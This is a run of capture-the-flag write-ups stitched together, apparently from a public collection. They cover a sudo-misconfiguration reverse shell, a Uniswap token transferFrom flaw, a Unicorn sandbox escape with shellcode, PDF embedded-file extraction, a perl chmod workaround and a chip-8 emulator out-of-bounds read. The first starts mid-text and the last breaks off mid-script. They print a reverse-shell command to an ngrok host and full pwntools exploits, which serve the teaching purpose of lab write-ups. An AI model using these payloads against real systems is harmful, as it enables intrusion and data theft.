**After some research, I found this [StackOverflow](https://stackoverflow.com/questions/7237262/how-do-i-find-the-a-referring-sites-url-in-node) post:**

Oh! They are the same thing in Express 4.x?
**Let's try that!**

Nice! We got the flag!
- **Flag: `Hero{ba7b97ae00a760b44cc8c761e6d4535b}`**
## Conclusion
What we've learned:
1. Exploiting Referer-based Access Control In Node.js Express |
# SUDOkLu
## Background
This is a warmup to get you going. Your task is to read `/home/privilegeduser/flag.txt`. For our new commers, the title might steer you in the right direction ;). Good luck! Credentials: `user:password123` > Deploy on [deploy.heroctf.fr](https://deploy.heroctf.fr/) Format : **Hero{flag}** Author : **Log_s**

## Enumeration
**In this challenge, we can SSH into user `user`:**```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/SUDOkLu)-[2023.05.13|16:15:23(HKT)]└> ssh [email protected] -p 12297 [...][email protected]'s password: [...]user@sudoklu:~$ whoami;hostname;idusersudokluuid=1000(user) gid=1000(user) groups=1000(user)```
**In `/etc/passwd` and `/home` directory, there's a `privilegeduser`:**```shelluser@sudoklu:~$ cat /etc/passwd | grep /bin/bashroot:x:0:0:root:/root:/bin/bashuser:x:1000:1000:,,,:/home/user:/bin/bashprivilegeduser:x:1001:1001:,,,:/home/privilegeduser:/bin/bashuser@sudoklu:~$ ls -lah /hometotal 20Kdrwxr-xr-x 1 root root 4.0K May 12 10:35 .drwxr-xr-x 1 root root 4.0K May 13 08:15 ..drwxr-x--- 1 privilegeduser privilegeduser 4.0K May 12 10:36 privilegeduserdrwxr-x--- 1 user user 4.0K May 13 08:15 user```
Our goal is to access `privilegeduser` home directory and read the flag.
**One of the common privilege escalation in Linux is Sudo permission:**```shelluser@sudoklu:~$ sudo -lMatching Defaults entries for user on sudoklu: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User user may run the following commands on sudoklu: (privilegeduser) NOPASSWD: /usr/bin/socket```
As you can see, user `privilegeduser` can run `/usr/bin/socket` **without password**.
**According to [GTFOBins](https://gtfobins.github.io/gtfobins/socket/), we can get a reverse shell!**

**To do so, we first fire up a port forwarding service, like Ngrok: (This is because the instance machine can't reach to our local network)**```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/SUDOkLu)-[2023.05.13|16:19:27(HKT)]└> ngrok tcp 4444[...]Forwarding tcp://0.tcp.ap.ngrok.io:18001 -> localhost:4444[...]```
**Then, setup a `nc` listener:**```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/SUDOkLu)-[2023.05.13|16:19:39(HKT)]└> nc -lnvp 4444listening on [any] 4444 ...```
**Finally, send the reverse shell payload:**```shelluser@sudoklu:~$ sudo -u privilegeduser /usr/bin/socket -qvp '/bin/bash -i' 0.tcp.ap.ngrok.io 18001inet: connected to 0.tcp.ap.ngrok.io port 18001```
```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/SUDOkLu)-[2023.05.13|16:19:39(HKT)]└> nc -lnvp 4444listening on [any] 4444 ...connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 35586privilegeduser@sudoklu:/home/user$ ```
**Nice! We got a shell! Let's read the flag!**```shellprivilegeduser@sudoklu:/home/user$ cd ~cd ~privilegeduser@sudoklu:~$ ls -lahls -lahtotal 28Kdrwxr-x--- 1 privilegeduser privilegeduser 4.0K May 12 10:36 .drwxr-xr-x 1 root root 4.0K May 12 10:35 ..lrwxrwxrwx 1 root root 9 May 12 10:36 .bash_history -> /dev/null-rw-r--r-- 1 privilegeduser privilegeduser 220 May 12 10:35 .bash_logout-rw-r--r-- 1 privilegeduser privilegeduser 3.7K May 12 10:35 .bashrc-rw-r--r-- 1 privilegeduser privilegeduser 807 May 12 10:35 .profile-r-------- 1 privilegeduser privilegeduser 34 May 12 10:36 flag.txtprivilegeduser@sudoklu:~$ cat flag.txtcat flag.txtHero{ch3ck_f0r_m1sc0nf1gur4t1on5}```
- **Flag: `Hero{ch3ck_f0r_m1sc0nf1gur4t1on5}`**
## Conclusion
What we've learned:
1. Horizontal Privilege Escalation Via Misconfigurated `/usr/bin/socket` Sudo Permission |
# Challenge 02 : Dive into real life stuff - Blockchain && Challenge 03 : You have to be kidding me… - Blockchain && Challenge 04 : Now this is real life - Blockchain
This is a writeup for 3 challenges as they all were solved the same way.
## ChallengeWe were provided token contracts for the challenges 02 and 03 and no contract for challenge 04. In addition a uniswapv2 router & factory were deployed, as well as the 2nd token WMEL. The 2 tokens were deployed as a pair on the router. The goal was to bring the WMEL liquidity to less than 0.5. All the contracts can be found in the src folder.
## Solution
My solution was probably unintented. The developers "forgot" to restrict the transferFrom() function in the WMEL token:
```function transferFrom(address src, address dst, uint wad)publicreturns (bool){ require(balanceOf[src] >= wad); if (!(balanceOf[src] >= wad)) { revert(); }
if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) { // require(allowance[src][msg.sender] >= wad); allowance[src][msg.sender] -= wad; }
balanceOf[src] -= wad; balanceOf[dst] += wad;
Transfer(src, dst, wad);
return true;}```
So you could just retrieve the address of the pair from the factory using getaPair() and the transfer all its WMEL liquidity to yourself, and the run sync to update the reserves. This worked for all 3 chals and yielded the flags:
Chal02: Hero{Th1s_1_w4s_3z_bro}Chal03: Hero{H0w_L0ng_D1d_1t_T4k3_U_?..lmao}Chal04: Hero{S0_Ur_4_r3AL_hUnT3r_WP_YMI!!!} |
# cs2101
`cs2101` is shellcoding / unicorn sandbox escape challenge I did during the [HackTM finals](https://ctfx.hacktm.ro/home).
## What we have
The challenge is splitted into three file: the server, the unicorn callback based checker and the final C program that runs the shellcode without any restrictions. Let's take a look at the server:```py#!/usr/bin/env python3
import osimport sysimport base64import tempfilefrom sc_filter import emulate
def main(): encoded = input("Enter your base64 encoded shellcode:\n") encoded+= '=======' try: shellcode = base64.b64decode(encoded) except: print("Error decoding your base64") sys.exit(1)
if not emulate(shellcode): print("I'm not letting you hack me again!") return
with tempfile.NamedTemporaryFile() as f: f.write(shellcode) f.flush()
name = f.name os.system("./emulate {}".format(name))
if __name__ == '__main__': main()```
The server is asking for a shellcode encoded in base64, then it is checking some behaviours of the shellcode by running it into unicorn through the `emulate` function and if it does not fail the shellcode is run by the `emulate` C program. Now let's take a quick look at the unicorn checker:```py#!/usr/bin/env python3
from unicorn import *from unicorn.x86_const import *
# memory address where emulation startsADDRESS = 0x1000000
def main(): with open("sc.bin", "rb") as f: code = f.read()
if emulate(code): print("Done emulating. Passed!") else: print("Done emulating. Failed!")
def emulate(code): try: # Initialize emulator in X86-64bit mode mu = Uc(UC_ARCH_X86, UC_MODE_64)
# map memory mu.mem_map(ADDRESS, 0x1000)
# shellcode to test mu.mem_write(ADDRESS, code)
# initialize machine registers mu.reg_write(UC_X86_REG_RAX, ADDRESS) mu.reg_write(UC_X86_REG_RFLAGS, 0x246)
# initialize hooks allowed = [True] mu.hook_add(UC_HOOK_INSN, syscall_hook, allowed, 1, 0, UC_X86_INS_SYSCALL) mu.hook_add(UC_HOOK_CODE, code_hook, allowed)
# emulate code in infinite time & unlimited instructions mu.emu_start(ADDRESS, ADDRESS + len(code))
return allowed[0]
except UcError as e: print("ERROR: %s" % e)
def syscall_hook(mu, user_data): # Syscalls are dangerous! print("not allowed to use syscalls") user_data[0] = False
def code_hook(mu, address, size, user_data): inst = mu.mem_read(address, size)
# CPUID (No easy wins here!) if inst == b'\x0f\xa2': user_data[0] = False print("CPUID")
if __name__ == '__main__': main()```To succeed the check in the server our shellcode should match several conditions: first there should not be any syscalls / `cpuid` instructions, then it should exit (and return allowed[0] === true) without triggering an exception not handled by unicorn (for example `SIGSEGV` or an interrupt not handled like `int 0x80`. And if it does so the shellcode is ran by this program:```c#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <sys/mman.h>#include <sys/stat.h>#include <sys/types.h>
#define ADDRESS ((void*)0x1000000)
/* gcc emulate.c -o emulate -masm=intel */
int main(int argc, char **argv) { if (argc < 2) { fprintf(stderr, "Usage: %s <filename>\n", argv[0]); exit(EXIT_FAILURE); }
void *code = mmap(ADDRESS, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (code == MAP_FAILED) { perror("mmap"); exit(EXIT_FAILURE); }
char *filename = argv[1]; int fd = open(filename, O_RDONLY); if (fd == -1) { perror("open"); exit(EXIT_FAILURE); }
read(fd, code, 0x1000); close(fd);
__asm__ volatile ( "lea rcx, [rsp-0x1800]\n\t" "fxrstor [rcx]\n\t" "xor rbx, rbx\n\t" "xor rcx, rcx\n\t" "xor rdx, rdx\n\t" "xor rdi, rdi\n\t" "xor rsi, rsi\n\t" "xor rbp, rbp\n\t" "xor rsp, rsp\n\t" "xor r8, r8\n\t" "xor r9, r9\n\t" "xor r10, r10\n\t" "xor r11, r11\n\t" "xor r12, r12\n\t" "xor r13, r13\n\t" "xor r14, r14\n\t" "xor r15, r15\n\t" "jmp rax\n\t" : : "a" (code) : );}```If we succeed to run the shellcode within this program we could easily execute syscalls and then drop a shell.
## Bypass the sandbox
The first step is to make our shellcode aware of the environment inside which it is running. A classic trick to achieve this is to use the `rdtsc` instruction ([technical spec here](https://www.felixcloutier.com/x86/rdtsc)). According to the documentation, it:
> Reads the current value of the processor’s time-stamp counter (a 64-bit MSR) into the EDX:EAX registers. The EDX register is loaded with the high-order 32 bits of the MSR and the EAX register is loaded with the low-order 32 bits. (On processors that support the Intel 64 architecture, the high-order 32 bits of each of RAX and RDX are cleared.)
Given within a debugger / emulator (depends on what is hooked actually, in an emulator it could be easily handled) the time between the execution of two instructions is very long we could check that the shellcode is ran casually by the C program without being hooked at each instruction (as it is the case in the unicorn sandbox) just by checking that the amount of time between two instructions is way shorter than in the sandbox. This way we can trigger a different code path in the shellcode according to the environment inside which it is run.
The second step is about being able to leave the sandbox without any syscalls with a handled exception that will not throw an error. By reading the unicorn source code for a while I saw a comment that talked about the `hlt` instruction, then I tried to use it to shutdown the shellcode when it is run by the sandbox and it worked pretty good.
## PROFIT
Putting it all together we manage to get the flag:```[root@(none) chal]# nc 34.141.16.87 10000Enter your base64 encoded shellcode:DzFJicBIweIgSQnQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQDzFJicFIweIgSQnRTSnBSYH5AAEAAH8JSMfAagAAAf/g9EjHxAAAAAFIgcQABQAAamhIuC9iaW4vLy9zUEiJ52hyaQEBgTQkAQEBATH2VmoIXkgB5lZIieYx0mo7WA8Fiduid=1000(user) gid=1000(user) groups=1000(user)lsemulateflag.txtrequirements.txtrunsc_filter.pyserver.pycat flag.txtHackTM{Why_can't_you_do_your_homework_normally...}```
## Final exploit
Final epxloit:```py#!/usr/bin/env python# -*- coding: utf-8 -*-
# this exploit was generated via# 1) pwntools# 2) ctfmate
import osimport timeimport pwn
BINARY = "emulate"LIBC = "/usr/lib/libc.so.6"LD = "/lib64/ld-linux-x86-64.so.2"
# Set up pwntools for the correct architectureexe = pwn.context.binary = pwn.ELF(BINARY)libc = pwn.ELF(LIBC)ld = pwn.ELF(LD)pwn.context.terminal = ["tmux", "splitw", "-h"]pwn.context.delete_corefiles = Truepwn.context.rename_corefiles = Falsep64 = pwn.p64u64 = pwn.u64p32 = pwn.p32u32 = pwn.u32p16 = pwn.p16u16 = pwn.u16p8 = pwn.p8u8 = pwn.u8
host = pwn.args.HOST or '127.0.0.1'port = int(pwn.args.PORT or 1337)
FILENAME = "shellcode"
def local(argv=["shellcode"], *a, **kw): '''Execute the target binary locally''' if pwn.args.GDB: return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return pwn.process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = pwn.connect(host, port) if pwn.args.GDB: pwn.gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if pwn.args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''continue'''.format(**locals())
import base64
def exp(): f = open("shellcode", "wb")
shellcode = pwn.asm( "rdtsc\n" "mov r8, rax\n" "shl rdx, 32\n" "or r8, rdx\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "nop\n" "rdtsc\n" "mov r9, rax\n" "shl rdx, 32\n" "or r9, rdx\n" "sub r9, r8\n" "cmp r9, 0x100\n" "jg sandbox\n" "mov rax, 0x100006a\n" "jmp rax\n"
"sandbox:\n" "hlt\n" )
map_stack = pwn.asm("mov rsp, 0x1000000\n") map_stack += pwn.asm("add rsp, 0x500\n") shell = pwn.asm(pwn.shellcraft.amd64.linux.sh())
print(shellcode + map_stack + shell) print(base64.b64encode(shellcode + map_stack + shell)) f.write(shellcode + map_stack + shell)
if __name__ == "__main__": exp() |
# PDF-Mess
## Background
This file seems to be a simple copy and paste from wikipedia. It would be necessary to dig a little deeper... Good luck! Format : **Hero{}** Author : **Thibz**

## Find the flag
**In this challenge, we can download a [file](https://github.com/siunam321/CTF-Writeups/blob/main/HeroCTF-v5/Steganography/PDF-Mess/strange.pdf):**

```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Steganography/PDF-Mess)-[2023.05.14|15:02:37(HKT)]└> file strange.pdf strange.pdf: PDF document, version 1.7, 2 pages```
It's a PDF file.
In this PDF file, it has an image file:

**We can try to extract that via `foremost`:**```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Steganography/PDF-Mess)-[2023.05.14|15:03:50(HKT)]└> foremost -i strange.pdfProcessing: strange.pdf|*|┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Steganography/PDF-Mess)-[2023.05.14|15:03:56(HKT)]└> ls -lah output total 20Kdrwxr-xr-- 4 siunam nam 4.0K May 14 15:03 .drwxr-xr-x 4 siunam nam 4.0K May 14 15:03 ..-rw-r--r-- 1 siunam nam 758 May 14 15:03 audit.txtdrwxr-xr-- 2 siunam nam 4.0K May 14 15:03 jpgdrwxr-xr-- 2 siunam nam 4.0K May 14 15:03 pdf```
However, I ran through all JPG steganography tools, and found nothing.
**Then, I Googled "stegano pdf ctf":**

**This [writeup from UIUCTF](https://github.com/hgarrereyn/Th3g3ntl3man-CTF-Writeups/blob/master/2017/UIUCTF/problems/Forensics/salted_wounds/salted_wounds.md) shows us how to extract embedded file in the PDF:**

**Let's do that!**```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Steganography/PDF-Mess)-[2023.05.14|15:06:40(HKT)]└> pdf-parser --stats strange.pdf This program has not been tested with this version of Python (3.11.2)Should you encounter problems, please use Python version 3.11.1Comment: 4XREF: 2Trailer: 2StartXref: 2Indirect object: 44Indirect objects with a stream: 4, 28, 30, 31, 40, 101, 102, 106, 107, 110, 109 24: 4, 6, 8, 14, 15, 16, 19, 20, 21, 22, 23, 24, 25, 26, 27, 30, 32, 101, 102, 103, 104, 105, 106, 108 /Catalog 1: 1 /EmbeddedFile 1: 110 /ExtGState 2: 10, 11 /Filespec 1: 111 /Font 4: 5, 7, 12, 17 /FontDescriptor 3: 9, 13, 18 /Metadata 1: 107 /ObjStm 1: 40 /Page 2: 3, 29 /Pages 1: 2 /XObject 2: 28, 31 /XRef 1: 109Unreferenced indirect objects: 40 0 R, 109 0 RUnreferenced indirect objects without /ObjStm objects: 109 0 RSearch keywords: /EmbeddedFile 1: 110 /URI 12: 14, 15, 16, 19, 20, 21, 22, 23, 24, 25, 26, 27```
**We found a hidden embedded file too! `/EmbeddedFile 1: 110`**
**To extract that we can:**```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Steganography/PDF-Mess)-[2023.05.14|15:06:46(HKT)]└> pdf-parser --object 110 --raw --filter strange.pdf > 110_EmbeddedFile┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Steganography/PDF-Mess)-[2023.05.14|15:07:41(HKT)]└> cat 110_EmbeddedFile This program has not been tested with this version of Python (3.11.2)Should you encounter problems, please use Python version 3.11.1obj 110 0 Type: /EmbeddedFile Referencing: Contains stream
<< /Length 179 /Type /EmbeddedFile /Filter /FlateDecode /Params << /Size 199 /Checksum <083542c62e17ca3367bd590c1ab38578> >> /Subtype /application/js >>
b"const CryptoJS=require('crypto-js'),key='3d3067e197cf4d0a',ciphertext=CryptoJS['AES']['encrypt'](message,key)['toString'](),cipher='U2FsdGVkX1+2k+cHVHn/CMkXGGDmb0DpmShxtTfwNnMr9dU1I6/GQI/iYWEexsod';"```
Oh! We found some JavaScript code!
**Beautified:**```jsconst CryptoJS = require('crypto-js');
key = '3d3067e197cf4d0a';ciphertext = CryptoJS['AES']['encrypt'](message,key)['toString']();cipher = 'U2FsdGVkX1+2k+cHVHn/CMkXGGDmb0DpmShxtTfwNnMr9dU1I6/GQI/iYWEexsod';```
As you can see, it's using the `crypto-js` npm library, and using that to AES encrypt the `message` (We don't know about that) and the `key`: `3d3067e197cf4d0a`.
After encrypt, the cipher text is `U2FsdGVkX1+2k+cHVHn/CMkXGGDmb0DpmShxtTfwNnMr9dU1I6/GQI/iYWEexsod`.
**We could read the [`crypto-js`'s documentation about AES](https://cryptojs.gitbook.io/docs/#the-cipher-algorithms) to decrypt it:**

```jsconst CryptoJS = require('crypto-js');
key = '3d3067e197cf4d0a';//ciphertext = CryptoJS['AES']['encrypt'](message,key)['toString']();cipher = 'U2FsdGVkX1+2k+cHVHn/CMkXGGDmb0DpmShxtTfwNnMr9dU1I6/GQI/iYWEexsod';plaintext = CryptoJS['AES']['decrypt'](cipher,key)['toString']();
console.log(plaintext);```
**However, I wanna give ChatGPT a try:**

**Ok bruh, I'll decrypt it by myself lol:**```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Steganography/PDF-Mess)-[2023.05.14|15:15:30(HKT)]└> npm install crypto-js
added 1 package in 378ms┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Steganography/PDF-Mess)-[2023.05.14|15:15:34(HKT)]└> nodejs 110_EmbeddedFile.js4865726f7b4d344c3143313055355f433044335f314e5f5044467d┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Steganography/PDF-Mess)-[2023.05.14|15:15:38(HKT)]└> nodejs 110_EmbeddedFile.js | xxd -r -pHero{M4L1C10U5_C0D3_1N_PDF}```
- **Flag: `Hero{M4L1C10U5_C0D3_1N_PDF}`**
## Conclusion
What we've learned:
1. Extracting Embedded File In PDF |
# Chm0d
## Background
Catch-22: a problematic situation for which the only solution is denied by a circumstance inherent in the problem. Credentials: `user:password123` > Deploy on [deploy.heroctf.fr](https://deploy.heroctf.fr/) Format : **Hero{flag}** Author : **Alol**

## Enumeration
**In this challenge, we can SSH into `user`:**```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/Chm0d)-[2023.05.13|15:31:37(HKT)]└> ssh [email protected] -p 10937[...][email protected]'s password: [...]user@abd21caf673f9e58806b515153437124:~$ whoami;hostname;iduserabd21caf673f9e58806b515153437124uid=1000(user) gid=1000(user) groups=1000(user)```
**In `/`, we can see there's a `flag.txt`:**```shelluser@abd21caf673f9e58806b515153437124:~$ ls -lah /flag.txt---------- 1 user user 40 May 12 11:43 /flag.txt```
However, it's permission is set to nothing (`----------`).
**Hmm... Can we use the `chmod` binary to change it's permission?**```shelluser@abd21caf673f9e58806b515153437124:~$ ls -lah /bin/chmod---------- 1 root root 63K Sep 24 2020 /bin/chmod```
Uhh... What? We can't use `/bin/chmod`...
Now, I wonder if we can **transfer the `chmod` binary...**
However, I tried to find a static version of `chmod` or trying to get `busybox` to the instance machine, no dice...
**After fumbling around, I started to search: "linux chmod alternative", and I found [this StackExchange](https://unix.stackexchange.com/questions/83862/how-to-chmod-without-usr-bin-chmod) post:**

**Ah ha! Does `perl` exist in the instance machine?**```shelluser@66282c22a4a04940a6f4bc1fbf3923e8:~$ which perl/usr/bin/perl```
It does!
**Let's change the `/flag.txt` file permission using `perl`!**```shelluser@66282c22a4a04940a6f4bc1fbf3923e8:~$ perl -e 'chmod 0755, "/flag.txt"'perl: warning: Setting locale failed.perl: warning: Please check that your locale settings: LANGUAGE = (unset), LC_ALL = (unset), LANG = "en_US.UTF-8" are supported and installed on your system.perl: warning: Falling back to the standard locale ("C").user@66282c22a4a04940a6f4bc1fbf3923e8:~$ ls -lah /flag.txt -rwxr-xr-x 1 user user 40 May 12 11:44 /flag.txt```
Nice!! We can now read the flag!
```shelluser@66282c22a4a04940a6f4bc1fbf3923e8:~$ cat /flag.txt Hero{chmod_1337_would_have_been_easier}```
- **Flag: `Hero{chmod_1337_would_have_been_easier}`**
## Conclusion
What we've learned:
1. Modifiying File Permission Using Perl |
## chip8
>Solves: 24 Easy>>I just found a repo of a chip-8 emulator, it may be vulnerable but I didn't had enough time to report the vulnerability with a working PoC.>You must find a way to get the flag in memory on the remote service !>>Author: Express#8049>>Remote service at : nc 51.254.39.184 1337
chip8 is a emulator-pwn challenge I did during the [pwnme CTF](https://pwnme.fr/) . You can find the related files [here](https://github.com/ret2school/ctf/tree/master/2023/pwnme/pwn/chip8).
## Code review
This challenge is based on an emulator called [c8emu](https://github.com/LakshyAAAgrawal/chip8emu) that is updated with these lines of code:```diff --git a/include/Machine.hpp b/include/Machine.hppindex af3d0d7..4288e15 100644--- a/include/Machine.hpp+++ b/include/Machine.hpp@@ -17,6 +17,7 @@ class Machine{ private: std::vector<uint8_t> registers; // V0-VF std::vector<uint8_t> memory; // Memory+ std::vector<uint8_t> flag; uint16_t I; // Index register std::vector<uint16_t> stack; // Stack uint8_t SP; // Stack Pointerdiff --git a/src/Machine.cpp b/src/Machine.cppindex d34680e..2321296 100644--- a/src/Machine.cpp+++ b/src/Machine.cpp@@ -6,10 +6,13 @@ #include <chrono> #include <thread> +std::string FLAG = "PWNME{THIS_IS_A_SHAREHOLDER_AAAAAAAAAAAAAAAAAA}";+ Machine::Machine(){ registers = std::vector<uint8_t>(16, 0); stack = std::vector<uint16_t>(32, 0); memory = std::vector<uint8_t>(4096, 0);+ flag = std::vector<uint8_t>(128, 0); PC = 0x200; last_tick = std::chrono::steady_clock::now(); I = 0;@@ -134,8 +137,8 @@ void Machine::execute(uint16_t& opcode){
if(it != first_match.end()) (it->second)(opcode); else {- std::cout << "No match found for opcode " << std::hex << (int) opcode << "\n";- std::cout << "This could be because this ROM uses SCHIP or another extension which is not yet supported.\n";+ //std::cout << "No match found for opcode " << std::hex << (int) opcode << "\n";+ //std::cout << "This could be because this ROM uses SCHIP or another extension which is not yet supported.\n"; std::exit(0); } }@@ -179,12 +182,13 @@ void Machine::print_machine_state(){ } void Machine::runLoop(){+ std::copy(FLAG.begin(), FLAG.end(), flag.begin()); while(true){ // Update display if(ge.is_dirty()){ // Check if the screen has to be updated ge.update_display();- print_machine_state();- std::cout << "Opcode " << ((uint16_t) (memory[PC]<<8) | (memory[PC+1])) << "\n";+ //print_machine_state();+ //std::cout << "Opcode " << ((uint16_t) (memory[PC]<<8) | (memory[PC+1])) << "\n"; } // Update the keyboard buffer to check for all pressed keysdiff --git a/src/c8emu.cpp b/src/c8emu.cppindex e65123b..590228e 100644--- a/src/c8emu.cpp+++ b/src/c8emu.cpp@@ -17,6 +17,10 @@ void loadFile(const std::string& filename, std::vector<uint8_t>& prog){ int main(int argc, char ** argv){ Machine machine; + setbuf(stdin, NULL);+ setbuf(stdout, NULL);+ setbuf(stderr, NULL);+ { // Create block to deallocate the possibly large variable prog // Load Instructions std::vector<uint8_t> prog;```
As you can see above, the prints that can leak informations about the program execution are removed, and an array named `flag` (on the heap) is inserted right after the memory mapping of length `0x1000` (on the heap) of the chip8 program. This way the goal would be to be able to leak the content of `flag` onto the screen.
## few words on chip8 architecture
To get a quick overview of the chip8 arch, I advice you to read [this](http://devernay.free.fr/hacks/chip8/C8TECH10.HTM#0.0). Here are the most important informations from the technical reference:- Chip-8 is a simple, interpreted, programming language which was first used on some do-it-yourself computer systems in the late 1970s and early 1980s. The COSMAC VIP, DREAM 6800, and ETI 660 computers are a few examples. These computers typically were designed to use a television as a display, had between 1 and 4K of RAM, and used a 16-key hexadecimal keypad for input. The interpreter took up only 512 bytes of memory, and programs, which were entered into the computer in hexadecimal, were even smaller.- Chip-8 has 16 general purpose 8-bit registers, usually referred to as Vx, where x is a hexadecimal digit (0 through F). There is also a 16-bit register called I. This register is generally used to store memory addresses, so only the lowest (rightmost) 12 bits are usually used.- Here are the instruction we need: - `Annn` - `LD I, addr`. Set I = nnn. The value of register I is set to nnn. - `6xkk` - `LD Vx, byte`, Set Vx = kk. The interpreter puts the value kk into register Vx. - `Fx1E` - `ADD I, Vx`. Set I = I + Vx. The values of I and Vx are added, and the results are stored in I. - `Dxyn` - `DRW Vx, Vy, nibble`. Display n-byte sprite starting at memory location I at (Vx, Vy), set VF = collision. The interpreter reads n bytes from memory, starting at the address stored in I. These bytes are then displayed as sprites on screen at coordinates (Vx, Vy). Sprites are XORed onto the existing screen. If this causes any pixels to be erased, VF is set to 1, otherwise it is set to 0. If the sprite is positioned so part of it is outside the coordinates of the display, it wraps around to the opposite side of the screen. See instruction 8xy3 for more information on XOR, and section 2.4, Display, for more information on the Chip-8 screen and sprites.
```nnn or addr - A 12-bit value, the lowest 12 bits of the instructionn or nibble - A 4-bit value, the lowest 4 bits of the instructionx - A 4-bit value, the lower 4 bits of the high byte of the instructiony - A 4-bit value, the upper 4 bits of the low byte of the instructionkk or byte - An 8-bit value, the lowest 8 bits of the instruction ```
## The bug
The bug lies into the implementation around the instruction that use the `I` register. Indeed, as you read above, the `I` register is 16 bits wide. Thus we could we print onto the screen with the help of the `DRW` instruction data stored from `memory[I=0]` up to `memory[I=2^16 - 1]`. Let's see how does it handle the `DRW` instruction:```c// https://github.com/LakshyAAAgrawal/chip8emu/blob/master/src/Machine.cpp#L123
{0xd000, [this](uint16_t& op){ // TODO - Dxyn - DRW Vx, Vy, nibble registers[0xf] = ge.draw_sprite(memory.begin() + I, memory.begin() + I + (op & 0x000f), registers[(op & 0x0f00)>>8] % 0x40, registers[(op & 0x00f0)>>4] % 0x20);}}```
The first and the second argument are the begin and the end of the location where data to print are stored. `(op & 0x000f)` represents the amount of bytes we'd like to print. As you can see no checks are performed, this way we able to get a read out of bound from from `memory[I=0]` up to `memory[I=2^16 - 1]`.
## Exploitation
Now we now how we could exfiltrate the flag we can write this tiny chip8 program:```pycode = [ 0xAFFF, # Annn - LD I, addr, I = 0xfff 0x6111, # 6xkk - LD Vx, byte, R1 = 0x11 0xF11E, # ADD I, R1, I => 0x1010 0xDBCF # Write on screen (xored with current pixels) 15 bytes from I=0x1010]```
We read the flag from `memory[0x1010]` given `memory` is adjacent to the `flag` (`memory[0x1000]` == begin of the chunk `flag` within the heap), and we add `0x10` to read the chunk content which is right after the header (prev_sz and chunk_sz). Once we launch it we get:```python3 exploit.py REMOTE HOST=51.254.39.184 PORT=1337[*] '/media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/ret2school/ctf/2023/pwnme/pwn/chip8/wrapper' Arch: amd64-64-little╔════════════════════════════════════════════════════════════════╗║ █ █ ▄▄▄ ║║ █ ██▀▄ ║║ █▄▄▄▀▄█ ║║ █ ▄ ▀▀ ║║ ▄██ ▀ ║║ █▄█▀ ▀ ║║ ▀▄█▀▀██ ║║ ▀▀ ▀▀ ▀ ║```
If we decode chars by hand (each byte is a line for which white is 1 and black zero), we get:```╔════════════════════════════════════════════════════════════════╗║ █ █ ▄▄▄ ║PW║ █ ██▀▄ ║NM║ █▄▄▄▀▄█ ║E{║ █ ▄ ▀▀ ║CH║ ▄██ ▀ ║18║ █▄█▀ ▀ ║-8║ ▀▄█▀▀██ ║_3║ ▀▀ ▀▀ ▀ m```
If we repeat this step 4 times (by incrementing the value of V1), we finally managed to get the flag: `PWNME{CH1p-8_3mu14t0r_1s_h4Ck4bl3_1n_2023_y34h}`.
## Full exploit
```py#!/usr/bin/env python# -*- coding: utf-8 -*-
# this exploit was generated via# 1) pwntools# 2) ctfmate
import osimport timeimport pwn
BINARY = "wrapper"LIBC = "/usr/lib/x86_64-linux-gnu/libc.so.6"LD = "/lib64/ld-linux-x86-64.so.2"
# Set up pwntools for the correct architectureexe = pwn.context.binary = pwn.ELF(BINARY)libc = pwn.ELF(LIBC)ld = pwn.ELF(LD)pwn.context.terminal = ["tmux", "splitw", "-h"]pwn.context.delete_corefiles = Truepwn.context.rename_corefiles = Falsep64 = pwn.p64u64 = pwn.u64p32 = pwn.p32u32 = pwn.u32p16 = pwn.p16u16 = pwn.u16p8 = pwn.p8u8 = pwn.u8
host = pwn.args.HOST or '127.0.0.1'port = int(pwn.args.PORT or 1337)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if pwn.args.GDB: return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return pwn.process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = pwn.connect(host, port) if pwn.args.GDB: pwn.gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if pwn.args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
